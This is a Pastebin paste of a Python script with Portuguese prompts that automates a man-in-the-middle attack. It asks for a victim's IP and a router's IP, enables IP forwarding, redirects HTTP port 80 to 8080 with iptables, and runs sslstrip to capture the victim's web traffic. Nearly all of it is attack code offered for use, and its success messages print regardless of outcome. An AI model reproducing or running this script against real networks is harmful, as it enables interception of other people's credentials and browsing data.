Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #-*-coding: UTF-8 -*-
- #-*- coding: ascii -*-
- #Escrito por Derick Santos
- import os
- import sys
- import time
- from scapy.all import *
- import socket as socket
- print("Script para automatização de ataque Man-in-the-middle")
- os.system("clear")
- try:
- rede = str(raw_input("Digite sua interface de rede: "))
- ip = str(raw_input("Digite o IP da vitima: "))
- route = str(raw_input("Digite o endereco de IP do roteador: "))
- msg = ("\nConected as ->"+route)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((ip, 8080))
- payload = (msg)
- s.send(payload.encode('ascii'))
- except:
- print("\n...")
- try:
- time.sleep(5)
- print("Conexao realizada com sucesso!")
- print("...")
- time.sleep(2)
- print("Realizando IP Forwarding...!")
- time.sleep(4)
- os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
- print("IP Forwarding realizado com sucesso!\n")
- time.sleep(2)
- print("Configurando redirecionamento de portas...")
- time.sleep(4)
- os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080")
- print("Direcionamento de portas... 80 -> 8080, realizado com sucesso!")
- except:
- print("\nErro nao foi possivel executar o ataque!")
- try:
- print("\n...")
- time.sleep(2)
- print("Definindo porta em escuta e acessando trafego HTTP...")
- time.sleep(7)
- print("...")
- os.system("sslstrip -a -l 8080")
- except:
- print("[*] Erro! É necessário o sslstrip em seu computador!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement